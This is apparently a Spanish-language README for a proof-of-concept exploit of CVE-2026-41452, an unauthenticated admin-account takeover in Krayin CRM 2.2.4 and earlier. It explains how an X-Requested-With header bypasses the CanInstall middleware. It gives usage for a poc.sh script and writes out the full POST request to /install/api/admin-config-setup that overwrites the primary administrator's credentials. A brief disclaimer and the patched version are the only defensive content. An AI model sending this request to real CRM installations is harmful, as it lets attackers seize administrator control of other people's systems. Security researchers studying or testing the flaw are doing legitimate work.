
Prueba de concepto de exploit para CVE-2026-41452, un bypass de autenticación crítico en Krayin CRM <= 2.2.4 que permite la toma de control de cuentas de administrador sin autenticación mediante el bypass de middleware.
Una Prueba de Concepto (PoC) que demuestra una vulnerabilidad crítica de autenticación faltante (CVE-2026-41452) que afecta a Krayin CRM versión 2.2.4 y anteriores.
Esta falla permite a atacantes remotos no autenticados omitir la lógica del middleware de instalación de la aplicación (CanInstall) mediante la inyección de encabezados HTTP específicos, lo que conduce a una sobrescritura completa de la configuración de la cuenta de administrador principal.
[!WARNING]
Descargo de responsabilidad: Este repositorio y la información contenida en él se proporcionan estrictamente con fines educativos, de investigación de seguridad y de auditoría defensiva autorizada. Las pruebas o la explotación no autorizadas de sistemas informáticos son estrictamente ilegales. El autor no asume ninguna responsabilidad por cualquier uso indebido de este material.
ID de CVE: CVE-2026-41452
Tipo de vulnerabilidad: Autenticación faltante / Omisión de middleware
Gravedad: Crítica (CVSS 9.8)
Software afectado: Krayin CRM <= 2.2.4
Versión parcheada: Krayin CRM >= 2.2.5
La vulnerabilidad se encuentra dentro del middleware de configuración de la aplicación. Un atacante no autenticado puede añadir un encabezado X-Requested-With: XMLHttpRequest a una carga útil elaborada dirigida al endpoint /install/api/admin-config-setup. Esto suprime la comprobación de redirección esperada dentro del middleware CanInstall, exponiendo una operación de base de datos updateOrInsert no autenticada que apunta al ID codificado (1) del administrador principal del sistema.
Ejecute el script contra una instancia objetivo que esté autorizado a probar:
./poc.sh <TARGET-URL> <USERNAME> <EMAIL> <PASSWORD>
En segundo plano, la omisión se activa mediante la siguiente estructura de transacción HTTP:
POST /install/api/admin-config-setup HTTP/1.1
Host: target-crm.local
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
name=test1&[email protected]&password=Password123